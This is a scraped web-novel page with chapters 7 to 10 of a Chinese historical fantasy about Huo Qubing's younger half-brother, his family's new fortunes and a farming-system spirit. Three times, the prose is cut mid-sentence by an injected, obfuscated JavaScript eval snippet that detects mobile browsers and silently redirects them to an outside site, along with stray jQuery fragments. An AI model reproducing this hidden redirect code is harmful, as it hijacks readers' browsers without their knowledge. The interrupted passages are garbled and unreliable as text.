《[西汉]给霍去病当弟弟的那些年》 7. 第 7 章 * 霍仲孺提心吊胆好几天,此番能平安归家对他来说无异于死里逃生,直到上了马车心还在砰砰乱跳。 他只是个小吏,朝堂上的争斗比民间争田埂地头可怕太多了,他实在是应付不来。 幸好骠骑将军大人有大量不计较他的身份还愿意庇护他这个没用的父亲,若是骠骑将军方才对他们横眉冷眼,他都不敢接下来想到底要怎么办。 死在骠骑将军手上会让骠骑将军名声受损,活着离开传舍又要被太守刁难,怎么着都没有好下场。 不幸中的万幸,骠骑将军愿意护着他们。 霍昭有气无力的趴在他哥身上,“爹,你已经说了好几遍,不用再强调了。” “得强调,必须得强调。”霍仲孺擦擦眼泪,郑重其事的对两个儿子说道,“我们全家的性命都是骠骑将军救下来的,你们要记得骠骑将军的好,不能被坏人挑拨,记住了吗?” 霍光认真点头,“记住了。” “我和阿兄又不傻,肯定不会被坏人挑拨离间。”小家伙坐起来,拍着胸口保证道,“爹放心,你知道的,我一向帮亲不帮理。” “别胡说。”霍光捂住他的嘴,小声叮嘱,“帮亲不帮理听上去像不讲理的恶霸,这话传出去会被人误会的。” 霍昭眨眨眼睛,“啊?” 他不是恶霸,他就是单纯的帮亲不帮理。 物以类聚人以群分,他是好人那么和他一起玩的肯定也都是好人,和他们过不去的才是坏人。 也就是说,他的“帮亲不帮理”实际上就是“帮亲又帮理”。 没错,就是这样。 小家伙重获自由后煞有其事的给兄长解释他的逻辑,马车就那么大点儿空间,车厢里和车厢外的所有人听完他的逻辑都沉默了。 从来没听过这么新鲜的说法,好像没理也能辩上三分。 唔,不对,仔细琢磨琢磨似乎还挺有道理的。 赶车的两个亲兵对视一眼,心道:不愧是他们家将军的弟弟,脑袋瓜就是机灵。 霍公放宽心,刚才的话他们都听到了,追上大部队后会对将军如实相告。 官道平坦,马车吱吱呀呀驶进平阳城,霍昭不乐意被他们家老爹拉住教育,赶在他爹开口之前钻到御者位担起指路的重任。 送他们回家的两位大哥又不知道他们家在哪儿,进城后走错方向了怎么办? 霍仲孺欲言又止,到底还是没把闹腾的小儿子喊回来。 霍光看了眼他们家老爹的反应,非常确定他不是不想喊,而是不敢跟外面那两位被甲执兵的将士说话。 没有猜错的话,老爹待会儿到家看到娘亲后的第一件事肯定还是哭鼻子。 唉,阿昭小时候都没这么能哭。 太守府的人去官学带人的时候没有掩人耳目,霍光和霍昭在光天化日之下被带走,学堂的先生立刻让人去霍家通知兄弟俩的家人。 早上有人到家里请霍仲孺去城外传舍的时候冯夏就感觉要不好,学堂来人说俩儿子也被带去传舍的时候不祥的预感更加强烈。 太守这是什么意思?赶尽杀绝? 真看不惯骠骑将军的话直接对骠骑将军本人动刀子去,欺负手无缚鸡之力的娃娃算什么本事? 都怪霍仲孺这老东西,当初就不该看他长得好就嫁。 冯夏急的掉眼泪,接下来还不知道会有什么事儿,家里得留个人,只能赶紧托邻居给娘家父兄传话说家里出事了。 她父兄也在官署当差,而且运势比起起落落二十多年来还是官佐的男人好很多,父亲前年升任守令史,兄长去年也因为勤勉俸禄升到了有秩一级。 可就算父兄都比丈夫强,他们这种人家和太守那个级别都差的远。 现在丈夫和儿子都被太守的人带去传舍,除了求助娘家她也没别的办法了。 冯家兄长冯春匆忙从官署赶来,虽然都在官署办差,但是他和妹夫并没有在一处,开春又正是忙碌的时候,这几天根本没注意倒霉妹夫没来点卯。 上面没什么动静,大家到官署后都忙的脚不沾地,就算发现了也只会以为他是被派去乡下,根本不会往别的地方猜。 官署里恨不得一个人当成八个人使唤,怎么可能让人闲着? 然而闲不下来的只有干活的人,换个身份就可以不用干活儿了。 “阿兄,出大事了。”冯夏等到兄长后简单把事情说了一遍,说着说着眼泪又要掉下来,“阿光和阿昭都被带去传舍了,我怕他们俩会被骠骑将军迁怒。” “骠骑将军?霍仲孺的种?”冯春傻了,这风牛马不相及的两个人怎么会是父子? 冯夏红着眼睛继续说道,“我们也是刚知道。” “骠骑将军、太守,妹,你可真能给阿兄出难题。”冯春焦躁的想扯头发,“便是得罪国相大人阿兄都能想办法去说情,骠骑将军那样儿的人物阿兄也不敢往前凑啊。” 话是这么说,办法还是得想。 他们够不上骠骑将军和太守的级别,但在平阳还是有几分关系的,当务之急是去传舍打探消息,免得人都没了他们还在家里干着急。 大概骠骑将军办事儿效率太高,冯春刚想到哪个生死兄弟家有亲戚在传舍办差,载着霍家父子的马车就停到了霍家门口。 霍昭麻溜儿的从车上跳下来,习惯性的没进门就开始喊,“娘,我回来啦。” 霍仲孺也带着哭腔喊道,“夏娘,我也回来了。” 霍光张了张嘴,感觉他不喊不对劲喊了更不对劲。 不喊显得不合群,喊了的话学舌的鸟儿就变成了他。 算了,爹说他们这是死里逃生,激动点儿很正常。 小少年闭上眼睛,“娘,我也回来了。” 霍昭看到院子里的舅舅时就猜到娘亲已经知道他们爷儿仨都被喊去传舍的事情,先是中气十足的朝大半个月没见面的舅舅打招呼,然后揣着新兄长给的金饼去哄娘亲开心,“阿娘阿娘,别担心,我们都回来啦。这是骠骑将军给的见面礼,我有阿兄也有。” 冯夏一把将儿子抱进怀里,眼泪扑簌簌落下,“你们吓死娘了。” 霍仲孺在门口停下脚步,摸摸鼻子不敢吭声,甚至把眼泪都逼了回去。 还、还是等会儿再哭吧。 霍光瞅了眼不敢进屋的爹,昂首挺胸进去把他的金饼和弟弟的金饼放在一起,成功在娘亲怀里抢到了一个位置。 冯春看他们父子平安回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16996078|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来也松了口气,然后走到霍仲孺跟前低声斥道,“家里发生那么大的事情怎么不告诉我?” 霍仲孺叹气,“我以为太守找我一个人就够了,没想到他真的丧心病狂到连孩子也不放过。” 堂屋里,冯夏哭完很快平复心情,让俩儿子把他们的金饼都收回去,然后走到门口问道,“骠骑将军那里怎么说。” 霍仲孺不好意思的笑笑,“他说有他在太守动不了我们,还说会在平阳给我们购置田宅。” 冯夏不太相信,“真的?” “真的,将军很好。”霍昭肃着小脸给老爹作证,“将军说让我们该怎么过还怎么过,有什么事情等他打完仗回来再说。” 就算没有系统仙人帮他整理战事的消息他也知道这次出战大汉大获全胜,冠军侯封狼居胥饮马翰海就是这时候,他那么没文化的人都知道封狼居胥饮马翰海,可见冠军侯有多厉害。 他们家就是政斗中的小虾米,除了该干什么干什么外也帮不上什么忙。 “骠骑将军没对你喊打喊杀,还要为你购置田宅?”冯春皱紧眉头,越想越不放心,于是委婉的说道,“换宅子是件麻烦事儿,要不让阿光阿昭收拾收拾去我家住几天?夏娘要不要回娘家小住?” 打出生就没见过的亲爹被政敌送到面前,还是在出征的路上,就算这个爹不是主动找过来的,他是骠骑将军的话也不会给这家伙好脸色,更不用说为他购置田宅。 二十多年不闻不问,功成名就了爹找过来了,世上哪儿有那么好的事情? 霍仲孺小心翼翼的看向妻子,“夏娘,你要带着孩子回娘家吗?” 真的要留他自己任人搓扁揉圆吗? 冯夏看出他的意思,笑骂一声,“出息。” 霍仲孺拍拍胸口,还好还好,家里不会只剩下他一个人。 不管怎么说,悬在霍家头顶的刀子总算是消失了。 霍去病留下的亲兵只在城里待了一下午,平阳侯相主动将购置田宅的事情揽去,以平阳侯和卫氏的关系,亲兵们很放心的当天晚上便策马狂奔追赶大部队去了。 霍仲孺人至中年摇身变成“霍公”,官署里的差事也可以不用干了,但霍光和霍昭还得上学。 骠骑将军平阳认父的消息传的沸沸扬扬,学堂里大大小小的孩子都亲眼看着霍光霍昭被带走,兄弟俩再次出现在学堂后立刻就被好友玩伴们围了起来。 “阿昭阿昭,我爹说骠骑将军是你兄长,是真的吗?”眼睛圆溜溜的小胖墩羡慕不已,“我知道骠骑将军,他打匈奴可厉害了。” “阿昭都换去里巷右边的大宅子了,肯定是真的。”消息更灵通的少年郎摇头晃脑,然后兴奋不已的建议道,“相传高祖当上皇帝曾把家乡那些父老乡亲都迁到长安附近以解太上皇的思乡之情,阿昭阿昭,你搬去大宅子后也郁郁寡欢的话,骠骑将军会不会把我们也请去你家陪你玩?” 不需要把他们全家都迁到附近,让他们陪着一起玩就行。 霍昭有点为难,“我家住上了大宅子,我还要郁郁寡欢?” 哪里需要他郁郁寡欢?他现在天天都有肉吃过的可开心了好吧。 识海中的系统幽幽开口,【物以类聚,人以群分……】 8. 第 8 章 * 霍昭不知道高祖皇帝在位时的太上皇为什么会郁郁寡欢,他只知道他有吃有喝就能很开心。 在大宅子里郁郁寡欢?不存在的。 然而想出好主意的小机灵鬼不这么觉得,他觉得他的想法很有道理,反正还没到上课时间,索性摆好姿势开始讲他的解题思路,“你这是刚搬家还新鲜着,等过段时间不新鲜了就该发现问题了。” 他们感觉能天天吃肉就是天底下最最开心的事情,但是也没见那些能天天吃肉的贵人有多开心,可见吃肉和开心压根没关系。 骠骑将军何等身份,给家眷购置的宅邸自然是在贵人们住的地方,就像小伙伴家刚搬去的地方,那周边不是豪族大户就是官,莫说是主家,就是仆从奴婢出门都是用鼻孔看路的。 豪族大户会给家里的孩子延请名师,官学里绝大部分都是小门小户出身,他们上学的时候还能一起玩,放学之后就很难再碰到了。 小机灵鬼煞有其事的说道,“阿昭你想想,如果每天离开学堂就没人玩,你会不会不开心?” 高祖时的太上皇可能就是这样,不缺吃不缺喝就是没人玩,所以守着好多好多钱也开心不起来。 话说的很有道理,很快得到了小伙伴们的一致赞同。 “我知道我知道,就是西楚霸王当年说过的,富贵了不回老家看看就跟穿着好衣服在夜里走一样,发达了不去熟人跟前炫耀炫耀心里肯定不舒坦。”小胖墩也摇头晃脑的说着,然后兴冲冲的保证道,“阿昭阿昭,你可以尽情找我们炫耀,我们比大人靠谱多了,肯定不会眼睁睁看着你郁郁寡欢。” 他们这几天缠着先生讲了好多开国时的故事,西楚霸王和高祖皇帝是老对头,他记性可好了不会记错。 旁边的娃娃们也都小鸡啄米般点头,“是的是的,我们超级可靠,如果能让我们也看骠骑将军一眼就更好了。” 那可是杀的匈奴闻风丧胆的骠骑将军,谁听见这个名号会不激动呢? 真的真的,他们是真心想陪小伙伴玩耍,绝对不是为了找借口去见骠骑将军。 霍昭:…… 骗傻子呢? 死心吧,他永远不会郁郁寡欢,现在不会,过些日子也不会。 系统乐的不行,笑完还不忘火上浇油,【你亲爱的小伙伴们觉得你对新家没了新鲜感后会不开心,坚信你的骠骑将军哥哥得胜归来再次路过平阳看到郁郁寡欢的你后会一声令下让全城的同龄人都来陪你玩哈哈哈哈哈哈哈哈哈。】 战神归来,发现五岁女儿住狗窝、啊、不对,重来。 战神归来,发现八岁弟弟被孤立,一声令下,全城孩童都来当陪玩。 可惜宿主不懂它的笑点,不然就更好笑了哈哈哈哈哈哈。 霍昭的确没听懂有什么好笑的,但是他知道系统仙人这是在笑话他,【我好歹有人玩,而你,我的系统仙人,咱家农庄的牛都不乐意陪你玩。】 系统:不嘻嘻。 它是冷酷的农场主,它养牛是为了挤牛奶换牛肉耕地换钱,牛不乐意陪它玩多正常,它需要让牛陪它玩吗? 呵,它一点都不在意。 霍昭戳心窝子也很有一手,系统仙人不搭理他也不耽误他再接再厉,【咱家的马也不亲你,猪也不待见你,鸡见面就叨你,驴更是一见你就尥蹶子。】 系统:啊啊啊啊啊啊啊啊啊! 小嘴巴!不许说话! 因为和系统仙人拌嘴大获全胜,被按头不开心也没那么难以接受了。 好在很快就到了上课的时间,先生的到来打断了小家伙们的畅想,这才让霍昭不至于当场就给小伙伴们表演一个郁郁寡欢。 小孩子的世界没有太多弯弯绕绕,大人的世界就没那么简单了。 平阳城不算大,城里豪族大户也不算多,权贵住的地方集中在里巷右边,虽然和平民百姓住的地方只有一巷之隔,但是住起来的感觉完全不一样。 霍家的新宅很大,非但不用让兄弟俩再住一间房,还可以让他们一人一座小院。 书房也不再是堂屋用屏风隔开的空间,而是每个院子都有的单独的大房间,甚至连书架上的书籍都是提前准备好的。 平阳侯相办事妥帖,给霍家的宅邸田产以及婢女仆从都是他亲自挑选的。 传舍里的闹剧他亲眼所见,他相信自己的眼睛,能看出来骠骑将军是个冷静从容的聪明人。 这世上蠢成太守那样的人还是少数,“孝”字能压死人,骠骑将军对生父有没有感情另说,但是只要不傻就绝对不会明目张胆的苛待霍家。 霍家无权无势掀不起风浪,而骠骑将军则是前途无量,说句不好听的,以卫氏的能耐等风头过去要解决霍仲孺再容易不过,没必要因此搭上骠骑将军的名声。 何况比起除掉霍仲孺,让人活着对骠骑将军更有好处。 平阳侯相将霍家安排的妥妥当当,忙碌之余还抽空将霍仲孺这二十多年的履历翻了一遍,翻完之后确定霍仲孺是个正常人,不会脑子一抽就被人忽悠到和骠骑将军过不去。 只要他能一直保持现在的清醒,后半辈子完全可以在平阳当个谁都不敢惹的富家翁。 长安就别去了,骠骑将军和卫氏族人都在长安,他去不合适。 国相大人觉得就霍仲孺这勤勤恳恳干了二十多年还依旧在平阳周边打转的本事,这几天相处下来感觉人胆子也不大,估计也不敢主动去长安。 皆大欢喜。 哦,除了太守大人。 平阳是个富庶的地方,境内还有铁矿可以开采,能被派到平阳侯国当国相的都不是简单人,不说在长安朝廷有多少关系,至少该知道的消息不会比别处落后。 撺掇河东太守给骠骑将军找不痛快的是谁他没法确定,但是左右跑不了那些看卫氏不顺眼的清流勋贵。 大战在即,陛下知道他们在骠骑将军出征的路上搞事情吗? 平阳侯相很期待京城会因此掀起怎样的风波,陛下任人唯贤,搞事的人暂时有用还好,若是没有利用价值还正好撞到陛下跟前,那御前大概率又要腾出好些个紧俏的位置。 至于蠢到出面挑事儿的河东太守…… 朝廷为了筹集军费马上要将民间盐、铁的经营权收回去,河东属于有铁矿的郡,按规矩会增设一位铁官。 铁官不管其他政务,只负责冶铁铸铁之事,矿场作坊所铸铁器也都只能由官府统一销售。 如果违反禁令,那就带着镣铐去挖矿吧。 国相大人很好奇,太守之后是会像骠骑将军说的那样发配边疆还是直接被打发去矿上? 矿场的铁镣铐他见过,分量足有六七斤,太守大人看上去那么虚,戴上镣铐后还走得动路吗? 咳咳,涉及到朝廷的钱袋子,铁官近几年都会被朝廷盯得紧,他对这个官职不感兴趣,他的目标是郡守级别的空缺。 河东空出来一个位置,其他地方再空出来几个位置,他这些年在平阳的政绩也算显眼,回头稍微运作运作怎么着也能升一升。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16996079|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么一来还得感谢太守大人的莽撞。 平阳侯相眯了眯眼,太守大人自顾不暇,最近他就不上赶着碍眼了,让他想想最近有什么好日子,再去霍家送个礼走动走动。 自从霍仲孺是骠骑将军生父的消息传出去,要不是有平阳侯相特意安排护卫守着,霍家的门槛都能被踏破。 家里从简简单单一家四口变成一家四口再加上四五十个婢女仆从,霍仲孺和冯夏都很不适应。 或者说,除了只要能吃饱就万事不愁的霍昭,其他三位都感觉这些天过的像做梦。 霍仲孺从传舍离开后不再担心什么时候被一刀捅死,他开始担心已经远赴战场的霍去病。 河东不是边郡,以前听到霍去病与轻勇骑八百直弃大军数百里伺机打击匈奴军、率一万精锐出陇西然后转战河西五国大杀特杀、越过焉支山六天急行一千多里在皋兰山下重创匈奴主力之类的消息只会觉得骠骑将军神勇非凡,感叹两句就完事儿了,也不会把事情放在心上。 现在不行,现在一想到骠骑将军是他儿子他就担心的不得了。 老霍不用再去官署上工,闲着没事儿就在家研究前些年的战事,研究来研究去发现他那出息的大儿子每次出征都是率精锐奔袭千里,脚程慢一点都跟不上他。 不是,动不动就转战千里,身体再好也扛不住这么糟蹋啊。 于是乎,噩梦丝滑的从家破人亡变成了战场厮杀。 虽说骠骑将军从军至今从无败绩,但是万一呢? 战场上刀枪无眼,草原那么大军队动不动就迷路,他还喜欢脱离大部队单独行动,万一出事了怎么办? 冯夏不知道说他什么好,人果然不能闲着,一闲下来就胡思乱想。 不过霍仲孺很快就没心思操心战场了,因为有封来自长安城的信送到了他手里。 平阳离长安不算远,算算日子如果长安卫家那边想干什么早该有消息穿过来,但是这些天一直没动静,霍仲孺就以为卫家没把他放在心上。 没想到刚放松警惕没几天,信就直接送到了家门口,还是已经嫁做他人妇的卫少儿亲笔所书。 霍仲孺已经不是那个对长安贵人一无所知的霍仲孺,自从知道骠骑将军是他儿子他就悄悄打听了好多卫家的事情。 卫家随平阳侯搬去长安已久,他打听的也不是什么秘密,因此很快就将卫家的人际关系梳理的清清楚楚。 自卫子夫成为皇后,卫少儿也天子的安排下嫁给了曲逆侯陈平的后人陈掌。 曲逆侯国前些年已经被废除,陈掌虽然没了爵位,但也是世家勋贵中的佼佼者,许是和卫氏关系亲密,如今还被任命为詹事,主要负责掌管卫皇后及太子家事。 霍仲孺看到装着信件的竹筒如临大敌,一时间连碰都不敢碰。 …… 傍晚时分,霍昭和霍光放学回家,进门就敏锐的察觉到家里的气氛不太对。 娘亲的反应还算正常,老爹一看就不对劲。 什么情况?又犯事儿了? 兄弟俩你看看我我看看你,都想不出来有什么事情能让他们家老爹这么反应,什么事情能跟骠骑将军霍去病是他们兄长相提并论? 系统看热闹不嫌事儿大,【长安城里的卫少儿、就是霍去病的娘亲、卫少儿给你爹写了封信,故人早已飞黄腾达而他还是升斗小民,你爹肯定是在自卑。】 霍昭瞬间把心放回肚子里,【那没事儿了,我爹可会自己哄自己了,要不了几天就会忘的一干二净。】 9. 第 9 章 * 霍仲孺并没有自卑,他是个有自知之明的普通人,早八百年就知道自己有多大本事,不然二十多年起起落落还是个小吏早就自己把自己怄死了。 他不是自卑,是没脸看。 但是没脸看也得看,人家大老远送信过来,不管信上写的是什么他都得先看了才能继续羞愧。 事实证明,这信不管是看还是不看都让他浑身难受。 卫少儿没有责怪他连累骠骑将军,也没有以权势压人让他必须怎么怎么,只是让他不用担心,所有的事情都交给长安那边来处理,有卫家在不会让霍家因此受难。 跟骠骑将军离开时说的差不多,都是让他放宽心,不管发生什么事情都有他们在。 他何德何能,如何受得起这些呜呜呜呜呜呜? 冯夏看完信件只有一个想法,那就是几十年了她男人的性子真的一点儿都没变,无论跟谁都能被拿捏的死死的。 也就是卫夫人脾气好不计较,换成她的话她能亲自跑来平阳对着这狗东西劈头盖脸就是一顿臭骂。 要不人家是贵人呢。 冯夏感慨几句,估摸着时间差不多了,便去厨房和厨娘商量晚上吃什么。 家里忽然多了那么多人,即便不需要她亲自动手收拾,安排人干活儿也不轻松。 得亏刚住进来的时候国相夫人好心告诉她要注意什么,国相大人还帮家里物色了个老实能干的管家,不然他们夫妻俩住进来也是手忙脚乱。 厨娘的手艺很好,锅里的鹿肉、腌鱼和笋熬成细腻的羹汤,远远就能闻到香味。 霍昭已经知道家里的老父亲为什么一副无地自容的表情,魂儿直接被厨房里香喷喷的肉羹给勾走了,“娘,今天是什么好吃的呀?” 好香好香,是从来没有闻到过的香味。 冯夏招呼俩孩子放下书囊洗手吃饭,“今天家里买了块鹿肉,厨娘炖了鹿白羹。” 霍光看了眼愁眉苦脸的老父亲,转过身小声问道,“娘,爹又怎么了?” “大概是太闲了,闲的没事儿干心里不舒坦。”冯夏瞥了霍仲孺一眼,让大儿子别操心那么多,“来,先吃饭,如果真的有什么事情爹娘不会瞒着你们。” 霍昭握紧勺子小鸡啄米般点头,眼睛一直盯着食案上那份热腾腾的鹿肉白米糊糊,“是的是的,阿兄快坐下,吃饭最重要。” 大人的事情小孩子不要管,管了也白管。 系统小小的白了他一眼,【如果我不告诉你答案,你肯定比你哥还好奇。】 霍昭眨眨眼睛,假装什么都没听见。 鹿肉价高,这还是他这辈子第一次吃鹿肉呢。 系统化身的光球在识海空间里转了一圈,感受着宿主因为吃到美味食物而雀跃的心情,坚信这次一定能让宿主感受到种田的快乐。 鹿肉算什么?等他们的农场等级高了,天上飞的水里游的地上爬的什么肉都能端上餐桌。 系统仙人敲锣打鼓,【注意注意,今晚开会!】 忙着吃饭的霍昭分心回复,【知道啦。】 臭弟弟没心没肺眼里只有好吃的,稳重的兄长却没那么大的心,有好吃的也没法让他忽视老爹表现出来的异样。 等食案上的碗碟撤下去,冯夏对上大儿子欲言又止的眼神无奈道,“是长安卫家给家里送了封信,你爹不好意思让你们知道,他也不知道该怎么和你们说。” 霍仲孺摸摸鼻子,“没什么事儿。” 冯夏不知道说他什么好,“没什么事儿你还这么个反应?” 孩子回家之前千叮咛万嘱咐不让说的是他,孩子回家后一点儿心事都藏不住的也是他,想干什么? 看爹娘的反应不似作伪,霍光总算是松了口气儿,他实在是被前些天的事情给吓到了。 没事就好,没事他就回去温习功课了。 霍昭年纪小,先生对这个年纪的孩子没有太高的要求,有什么功课都在学堂里安排完了,回家不耽误孩子们结伴玩耍。 不过霍昭是个有规划的好孩子,为了在小伙伴们面前出风头他能在家自己学。 系统摇摇头,他们家宿主放到后世肯定是那种明面上懒懒散散实际上背地里卷的小坏蛋,考试的时候问就是发挥的不好,但是成绩出来每次都是第一。 太坏了,它喜欢。 诶嘿,它也是喜欢偷偷卷的系统,转型也要当第一。 宿统俩在书房里各自努力,等到天色暗下来才回去开会。 从前家里只有一个父子三人共用的书房,现在书房多了也只是父子分开,霍昭依旧喜欢跟他哥待在一块儿。 他的书房可以等他长大了再用,现在还是跟哥哥坐在一起更安心。 小家伙回到自己的院子里收拾好上床,闭上眼睛进入农庄,系统已经在那里等着。 他喜欢称呼这儿为“农庄”,系统仙人也没纠正过他的叫法,就是不知道什么时候就在庄子门口挂了个大大的“昭昭农场”的牌子。 叫“霍家庄”多好,朗朗上口还容易记,可惜他的提议当时就被系统仙人驳回了。 ——寄人篱下,不敢说话。 农场主霍昭昭如是道。 昭昭农场面积很大,从地图上看比平阳城外那些贵人的庄子还要安逸,除了瞧不见人外没有任何问题。 宿主进去后直接出现在农场正中央的双层的小楼里,小楼外面有大片的草坪,还有种满花花草草的花园,再往外便是整整齐齐的农田和草场。 四四方方的农田每一块都种着不同的作物,牲畜也都在各自的草场上悠闲的吃草。 仙境和凡间很不一样,这里四季如春,作物也不分季节,只要种下去立刻就能长出来。 霍昭从来没见过这里下雨下雪,但是农田里的庄稼从来没缺过水,什么时候看都是茁壮成长的模样。 最常来的小楼和他以前见过的所有建筑都不太一样,系统仙人说这就是仙界的风格,想换成其他模样得等他们更厉害了才行。 他觉得他想仙人更厉害的可能性不大,而且这小楼虽然第一次看上去奇奇怪怪但是看久了还挺好看,所以压根没想过要给小楼换个样子。 【霍昭昭同学,我们今天要讨论的是个很严肃的话题,你做好准备了吗?】农场阳光明媚,小花园的遮阳伞下准备好了茶点,系统光球出现在对面,语气严肃中透着几分不正经,【准备好了回收到。】 霍昭:【……收到。】 系统立刻进入状态,支起小黑板就开始讲,【霍昭昭,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16996080|193876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里。高产小麦,亩产量一千六百斤;高产玉米,亩产量三千斤;高产水稻,亩产量三千斤;高产马铃薯,亩产量一万两千斤。】 这是它辛辛苦苦换算成大汉的计量单位得出来的数据,不用想,这个亩产量肯定比现有的亩产量高的多的多。 民以食为天,这些东西在灾荒年间拿出去能救活多少百姓不用它强调吧? 咳咳,系统出品,必属精品,它拿出来的粮种性状稳定可以遗传,不会第一年种出来的是高产水稻第二年种出来的就成了杂草只会长空壳。 它不是要宿主立刻马上将东西拿出去建功立业,这是在为将来做准备。 霍去病得胜归来再次路过河东时把霍光一起带去了长安,同样是异母弟,他们家宿主大概率也得被带过去。 卫家姻亲多,还都是权贵,但长安多的是人瞧不起他们的出身,大霍将小霍带走兴许就是想培养出一个能真正让他信任的帮手。 长安和平阳是天壤之别,留在平阳只是一辈子的衣食无忧,去长安则是更为广大的前程,只要霍去病提出来,霍仲孺夫妻肯定不会拒绝。 所以说,宿主不能再傻了吧唧的什么事儿都不管了,得考虑考虑将来的事情。 霍去病过河东出代郡荡平漠南封狼居胥饮马翰海听上去跑的很远,但是他一直是急行军,这一仗一共也才打了不到三个月。 仗一共打了不到三个月,现在离他路过河东时已经过去了一个多月,也就是说,最多还有两个月就会得胜归来。 霍昭喝口甜滋滋的果汁压压惊,看着小黑板上的数字,脑子里已经被数不清的粮食给堆满了。 什么长安?什么得胜归来? 骠骑将军打胜仗是板上钉钉的事情,系统仙人快来继续讲他们五谷丰登的农庄。 系统将写满字迹的小黑板推走,【粮食的事情有点远,我们还要讨论眼下的事情。】 霍昭叹了口气,然后托着脸看向旁边光球,【我也想过大军返程会发生什么,想来想去只想出来一个结果。】 系统问道,【什么结果?】 霍昭摊手,【结果就是:我想的没用,骠骑将军想带我走我就得跟着走,骠骑将军不想带我走我就得留在家里,这不是我能决定的事情。】 他们私下里胡思乱想没用,这事儿得等到大军回来才能见分晓。 和老爹一样很有自知之明的霍昭昭自顾自的点点头,然后诚恳的建议道,【系统仙人,您要不要给长安城里的皇帝陛下托个梦什么的?我感觉您比皇帝陛下身边的那些所谓的仙人厉害多了。】 可恶,系统仙人不应该来找他,应该直接去长安城找天子。 仙人手里利国利民的好东西那么多,在他这里要发愁怎么把东西拿出来还得不引人注意,去皇帝陛下跟前完全不要操心这些。 皇帝不用解释好东西的来历,甚至可以直接在朝堂上宣布大汉迎来了一个真神仙。 货真价实,童叟无欺。 天子身边也有自称仙人的家伙,他敢肯定那些仙人比他们家系统仙人差远了! 系统沉默了一会儿,委婉拒绝,【谢谢夸奖,但是我已经转型了。我是种田系统,不是统一全球系统,秦始皇汉武帝唐太宗都不在合作范围内哈。】 10. 第 10 章 * 系统是个自我定位非常清晰的好系统,它是种田系统,不宫斗不打仗更不搞争霸。 宿主拥有的是座祥和宁静的小农场,不是西幻背景下哀鸿遍野的贫瘠城堡,他们不需要高筑墙广积粮缓称王,只需要安安心心的放牛种田然后等时机合适再将好东西拿出来造福天下百姓。 术业有专攻,他们种田系统不干争霸天下的活儿。 霍昭不死心还想劝,【我听说汉武帝笃信鬼神非常好骗,系统仙人,那些骗子都能因此封侯,您去汉武帝梦里走一圈肯定立刻就是他身边最厉害的神仙。】 他们家系统仙人能托梦,别的家伙能行吗? 到时候系统仙人说什么皇帝信什么,别的“神仙”有的待遇他们家系统仙人也得有,于是大宅子有了官职有了爵位有了这辈子什么都不用愁了。 系统仙人不乐意出面的话可以借口收他当徒弟让他帮忙领封赏,到时候他哥跟着骠骑将军混他跟着系统仙人混,兄弟俩都有光明坦荡的未来。 【霍昭昭,你听故事是不是只听开头不听结尾?】系统身上的光芒闪烁不定,如果有身体的话可能已经以头抢地,【汉武帝身边最有名的俩方士都因为忽悠他而被处死,你有几条命能这么玩?】 霍昭一点儿都不怕,【不一样不一样,那些家伙是因为忽悠皇帝被识破才被处死,您是真神仙我怕什么?】 假神仙才要担心露馅儿被处死,真神仙根本不带怕的。 就算汉武帝用完他们就卸磨杀驴,系统仙人也能直接带他立地飞升,到时候后悔死那个用完就扔的大猪蹄子。 系统:【……】 得,他们家宿主比汉武帝还迷信。 图方便直接从古代世界匹配宿主就这点不好,宿主完全不知道什么叫科学,从头开始教也没用,它这些年以身作则的结果就是非但没让宿主感受到科学的光辉反而还更加封建迷信了。 是它的问题吗? 它的存在那么科学,肯定不是。 系统平复心情,恢复刻板的电子音,【很抱歉,绑定在一起的是我们两个,即便是汉武帝也无法插足我们两个之间的关系。】 霍昭遗憾的摇摇头,然后将杯子里的果汁一饮而尽。 严肃的会议不复存在,话题很快转移到别处,【系统仙人,虽然庄子里的牛羊马匹和鲜果菜蔬短时间内都拿不出去,但是我感觉咱们的食谱应该很快能派上用场。】 以前家里条件一般有食谱也没有食材,现在家里条件变好,有食材有食谱他肯定能把系统仙人给他吃过的食物都做出来。 别觉得他没下过厨房,他上辈子经常去伙房帮忙,伙头兵会的他都会。 因为他乖巧懂事眼里有活儿,军中最缺粮的时候他都能分到半块饼子。 系统:【……】 有没有可能,那是大家看你年纪小特意让着你? 系统心累不已,不过也没在这时候给他掰扯那么多,【张骞出使西域刚回来没几年,你猜农场里的蔬果有多少能在外面找到?】 霍昭若有所思的点点头,【……这个问题我也考虑过,想来想去只有一个解决办法,那就是我得在外面有个属于自己的庄子。】 属于他,他可以全权做主,无论出现什么稀奇古怪的东西都不用费心给别人解释的地方。 没办法,归根结底还是他年纪太小了,干什么都束手束脚。 